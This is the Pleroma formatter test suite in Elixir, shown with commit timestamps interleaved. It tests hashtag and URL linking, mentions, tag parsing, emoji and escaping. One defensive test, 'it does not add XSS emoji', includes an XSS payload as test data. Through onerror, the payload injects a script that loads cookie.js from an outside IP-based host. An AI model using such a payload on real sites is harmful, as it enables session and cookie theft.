2018-12-23 20:11:29 +00:00
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
2017-05-17 16:00:09 +00:00
defmodule Pleroma.FormatterTest do
alias Pleroma.Formatter
2018-10-17 19:27:05 +00:00
alias Pleroma.User
2017-05-17 16:00:09 +00:00
use Pleroma.DataCase
2017-06-14 11:58:56 +00:00
import Pleroma.Factory
2018-12-04 14:48:55 +00:00
2018-12-04 11:01:39 +00:00
setup_all do
Tesla.Mock . mock_global ( fn env -> apply ( HttpRequestMock , :request , [ env ] ) end )
:ok
end
2017-06-14 11:58:56 +00:00
2018-03-24 10:03:10 +00:00
describe " .add_hashtag_links " do
test " turns hashtags into links " do
text = " I love # cofe and # 2hu "
2018-03-30 13:01:53 +00:00
expected_text =
2019-01-16 04:09:01 +00:00
" I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'> # cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'> # 2hu</a> "
2018-03-24 10:03:10 +00:00
tags = Formatter . parse_tags ( text )
2018-03-30 13:01:53 +00:00
assert expected_text ==
Formatter . add_hashtag_links ( { [ ] , text } , tags ) |> Formatter . finalize ( )
2018-03-24 10:03:10 +00:00
end
2018-12-18 19:10:56 +00:00
test " does not turn html characters to tags " do
text = " Fact # 3: pleroma does what mastodon't "
expected_text =
2019-01-16 04:09:01 +00:00
" Fact <a class='hashtag' data-tag='3' href='http://localhost:4001/tag/3' rel='tag'> # 3</a>: pleroma does what mastodon't "
2018-12-18 19:10:56 +00:00
tags = Formatter . parse_tags ( text )
assert expected_text ==
Formatter . add_hashtag_links ( { [ ] , text } , tags ) |> Formatter . finalize ( )
end
2018-03-24 10:03:10 +00:00
end
describe " .add_links " do
2017-05-17 16:00:09 +00:00
test " turning urls into links " do
2018-06-23 11:28:14 +00:00
text = " Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2 # blabla . "
2017-05-17 16:00:09 +00:00
2018-03-30 13:01:53 +00:00
expected =
2018-09-28 15:20:28 +00:00
" Hey, check out <a href= \" https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2 # blabla \" >https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2 # blabla</a> . "
2018-03-30 13:01:53 +00:00
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2017-11-07 11:06:37 +00:00
text = " https://mastodon.social/@lambadalambda "
2018-03-30 13:01:53 +00:00
expected =
2018-04-21 16:24:45 +00:00
" <a href= \" https://mastodon.social/@lambadalambda \" >https://mastodon.social/@lambadalambda</a> "
2018-03-30 13:01:53 +00:00
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2017-11-07 11:06:37 +00:00
2018-04-06 14:35:54 +00:00
text = " https://mastodon.social:4000/@lambadalambda "
expected =
2018-04-21 16:24:45 +00:00
" <a href= \" https://mastodon.social:4000/@lambadalambda \" >https://mastodon.social:4000/@lambadalambda</a> "
2018-04-06 14:35:54 +00:00
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2017-11-07 11:06:37 +00:00
text = " @lambadalambda "
expected = " @lambadalambda "
2018-03-30 13:01:53 +00:00
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2017-11-07 11:06:37 +00:00
text = " http://www.cs.vu.nl/~ast/intel/ "
2018-04-21 16:24:45 +00:00
expected = " <a href= \" http://www.cs.vu.nl/~ast/intel/ \" >http://www.cs.vu.nl/~ast/intel/</a> "
2017-11-07 11:06:37 +00:00
2018-03-30 13:01:53 +00:00
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2017-12-07 19:38:31 +00:00
text = " https://forum.zdoom.org/viewtopic.php?f=44&t=57087 "
2018-03-30 13:01:53 +00:00
expected =
2018-09-28 15:20:28 +00:00
" <a href= \" https://forum.zdoom.org/viewtopic.php?f=44&t=57087 \" >https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a> "
2018-03-30 13:01:53 +00:00
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2017-12-07 19:38:31 +00:00
text = " https://en.wikipedia.org/wiki/Sophia_(Gnosticism) # Mythos_of_the_soul "
2018-03-30 13:01:53 +00:00
expected =
2018-04-21 16:24:45 +00:00
" <a href= \" https://en.wikipedia.org/wiki/Sophia_(Gnosticism) # Mythos_of_the_soul \" >https://en.wikipedia.org/wiki/Sophia_(Gnosticism) # Mythos_of_the_soul</a> "
2018-03-30 13:01:53 +00:00
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2018-04-04 09:29:03 +00:00
text = " https://www.google.co.jp/search?q=Nasim+Aghdam "
expected =
2018-04-21 16:24:45 +00:00
" <a href= \" https://www.google.co.jp/search?q=Nasim+Aghdam \" >https://www.google.co.jp/search?q=Nasim+Aghdam</a> "
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
text = " https://en.wikipedia.org/wiki/Duff's_device "
expected =
2018-09-28 15:20:28 +00:00
" <a href= \" https://en.wikipedia.org/wiki/Duff's_device \" >https://en.wikipedia.org/wiki/Duff's_device</a> "
2018-04-04 09:29:03 +00:00
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2018-05-19 09:27:14 +00:00
text = " https://pleroma.com https://pleroma.com/sucks "
expected =
" <a href= \" https://pleroma.com \" >https://pleroma.com</a> <a href= \" https://pleroma.com/sucks \" >https://pleroma.com/sucks</a> "
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2018-06-23 11:32:03 +00:00
text = " xmpp:contact@hacktivis.me "
expected = " <a href= \" xmpp:contact@hacktivis.me \" >xmpp:contact@hacktivis.me</a> "
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2018-09-28 15:20:28 +00:00
text =
" magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com "
expected = " <a href= \" #{ text } \" > #{ text } </a> "
assert Formatter . add_links ( { [ ] , text } ) |> Formatter . finalize ( ) == expected
2018-03-24 10:03:10 +00:00
end
end
describe " add_user_links " do
2019-01-18 06:30:16 +00:00
test " gives a replacement for user links, using local nicknames in user links text " do
2018-12-12 17:17:15 +00:00
text = " @gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me "
2018-03-24 10:03:10 +00:00
gsimg = insert ( :user , %{ nickname : " gsimg " } )
2018-04-03 16:32:46 +00:00
archaeme =
insert ( :user , %{
2018-12-12 17:17:15 +00:00
nickname : " archa_eme_ " ,
info : % Pleroma.User.Info { source_data : %{ " url " = > " https://archeme/@archa_eme_ " } }
2018-04-03 16:32:46 +00:00
} )
2018-03-24 10:03:10 +00:00
archaeme_remote = insert ( :user , %{ nickname : " archaeme@archae.me " } )
mentions = Pleroma.Formatter . parse_mentions ( text )
{ subs , text } = Formatter . add_user_links ( { [ ] , text } , mentions )
assert length ( subs ) == 3
2018-03-30 13:01:53 +00:00
Enum . each ( subs , fn { uuid , _ } -> assert String . contains? ( text , uuid ) end )
2018-03-24 10:03:10 +00:00
2018-03-30 13:01:53 +00:00
expected_text =
2019-01-16 04:09:01 +00:00
" <span class='h-card'><a data-user=' #{ gsimg . id } ' class='u-url mention' href=' #{
gsimg . ap_id
} ' >@<span>gsimg</span></a></span> According to <span class= ' h - card ' ><a data-user= ' #{
2018-12-05 19:58:52 +00:00
archaeme . id
2019-01-16 04:09:01 +00:00
} ' class= ' u - url mention ' href= ' #{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
2018-12-05 19:58:52 +00:00
archaeme_remote . id
2019-01-18 06:30:16 +00:00
} ' class= ' u - url mention ' href= ' #{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
2018-03-24 10:03:10 +00:00
assert expected_text == Formatter . finalize ( { subs , text } )
2017-05-17 16:00:09 +00:00
end
2018-08-24 18:14:19 +00:00
2018-10-17 19:27:05 +00:00
test " gives a replacement for user links when the user is using Osada " do
mike = User . get_or_fetch ( " mike@osada.macgirvin.com " )
text = " @mike@osada.macgirvin.com test "
mentions = Formatter . parse_mentions ( text )
{ subs , text } = Formatter . add_user_links ( { [ ] , text } , mentions )
assert length ( subs ) == 1
Enum . each ( subs , fn { uuid , _ } -> assert String . contains? ( text , uuid ) end )
expected_text =
2019-01-18 06:30:16 +00:00
" <span class='h-card'><a data-user=' #{ mike . id } ' class='u-url mention' href=' #{ mike . ap_id } '>@<span>mike</span></a></span> test "
2018-10-17 19:27:05 +00:00
assert expected_text == Formatter . finalize ( { subs , text } )
end
2018-08-24 18:14:19 +00:00
test " gives a replacement for single-character local nicknames " do
text = " @o hi "
o = insert ( :user , %{ nickname : " o " } )
mentions = Formatter . parse_mentions ( text )
{ subs , text } = Formatter . add_user_links ( { [ ] , text } , mentions )
assert length ( subs ) == 1
Enum . each ( subs , fn { uuid , _ } -> assert String . contains? ( text , uuid ) end )
2018-12-05 19:58:52 +00:00
expected_text =
2019-01-16 04:09:01 +00:00
" <span class='h-card'><a data-user=' #{ o . id } ' class='u-url mention' href=' #{ o . ap_id } '>@<span>o</span></a></span> hi "
2018-12-05 19:58:52 +00:00
2018-08-24 18:14:19 +00:00
assert expected_text == Formatter . finalize ( { subs , text } )
end
test " does not give a replacement for single-character local nicknames who don't exist " do
text = " @a hi "
mentions = Formatter . parse_mentions ( text )
{ subs , text } = Formatter . add_user_links ( { [ ] , text } , mentions )
assert length ( subs ) == 0
Enum . each ( subs , fn { uuid , _ } -> assert String . contains? ( text , uuid ) end )
expected_text = " @a hi "
assert expected_text == Formatter . finalize ( { subs , text } )
end
2017-05-17 16:00:09 +00:00
end
describe " .parse_tags " do
test " parses tags in the text " do
2017-06-18 17:04:46 +00:00
text = " Here's a # Test. Maybe these are # working or not. What about # 漢字? And # は。 "
2018-03-30 13:01:53 +00:00
2017-05-17 16:00:09 +00:00
expected = [
2017-06-18 17:04:46 +00:00
{ " # Test " , " test " } ,
2017-05-17 16:00:09 +00:00
{ " # working " , " working " } ,
{ " # 漢字 " , " 漢字 " } ,
{ " # は " , " は " }
]
assert Formatter . parse_tags ( text ) == expected
end
end
2017-06-14 11:58:56 +00:00
test " it can parse mentions and return the relevant users " do
2018-12-20 09:35:01 +00:00
text =
" @@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm "
2017-06-14 11:58:56 +00:00
2018-12-20 09:35:01 +00:00
o = insert ( :user , %{ nickname : " o " } )
jimm = insert ( :user , %{ nickname : " jimm " } )
2017-06-14 11:58:56 +00:00
gsimg = insert ( :user , %{ nickname : " gsimg " } )
archaeme = insert ( :user , %{ nickname : " archaeme " } )
archaeme_remote = insert ( :user , %{ nickname : " archaeme@archae.me " } )
expected_result = [
{ " @gsimg " , gsimg } ,
{ " @archaeme " , archaeme } ,
2018-12-20 09:35:01 +00:00
{ " @archaeme@archae.me " , archaeme_remote } ,
{ " @o " , o } ,
{ " @jimm " , jimm }
2017-06-14 11:58:56 +00:00
]
assert Formatter . parse_mentions ( text ) == expected_result
end
2017-06-19 15:51:43 +00:00
test " it adds cool emoji " do
text = " I love :moominmamma: "
2018-03-30 13:01:53 +00:00
expected_result =
2018-09-02 00:04:09 +00:00
" I love <img height= \" 32px \" width= \" 32px \" alt= \" moominmamma \" title= \" moominmamma \" src= \" /finmoji/128px/moominmamma-128.png \" /> "
2017-06-19 15:51:43 +00:00
2017-09-16 14:14:23 +00:00
assert Formatter . emojify ( text ) == expected_result
end
2018-09-02 00:04:09 +00:00
test " it does not add XSS emoji " do
text =
" I love :'onload= \" this.src='bacon' \" onerror='var a = document.createElement( \" script \" );a.src= \" //51.15.235.162.xip.io/cookie.js \" ;document.body.appendChild(a): "
custom_emoji = %{
" 'onload= \" this.src='bacon' \" onerror='var a = document.createElement( \" script \" );a.src= \" //51.15.235.162.xip.io/cookie.js \" ;document.body.appendChild(a) " = >
" https://placehold.it/1x1 "
}
expected_result =
" I love <img height= \" 32px \" width= \" 32px \" alt= \" \" title= \" \" src= \" https://placehold.it/1x1 \" /> "
assert Formatter . emojify ( text , custom_emoji ) == expected_result
end
2017-09-16 14:14:23 +00:00
test " it returns the emoji used in the text " do
text = " I love :moominmamma: "
assert Formatter . get_emoji ( text ) == [ { " moominmamma " , " /finmoji/128px/moominmamma-128.png " } ]
2017-06-19 15:51:43 +00:00
end
2018-08-31 17:28:39 +00:00
test " it returns a nice empty result when no emojis are present " do
text = " I love moominamma "
assert Formatter . get_emoji ( text ) == [ ]
end
test " it doesn't die when text is absent " do
text = nil
assert Formatter . get_emoji ( text ) == [ ]
end
2018-12-14 09:41:55 +00:00
describe " /mentions_escape " do
test " it returns text with escaped mention names " do
text = """
@a_breakin_glass @cybre . space
( also , little voice inside my head thinking " maybe this will encourage people
pronouncing it properly instead of saying _raKEWdo_ " )
"""
escape_text = """
@a \\ _breakin \\ _glass @cybre \\ . space
( also , little voice inside my head thinking \ " maybe this will encourage people
pronouncing it properly instead of saying _raKEWdo_ \ " )
"""
mentions = [ { " @a_breakin_glass@cybre.space " , %{ } } ]
assert Formatter . mentions_escape ( text , mentions ) == escape_text
end
end
2017-05-17 16:00:09 +00:00
end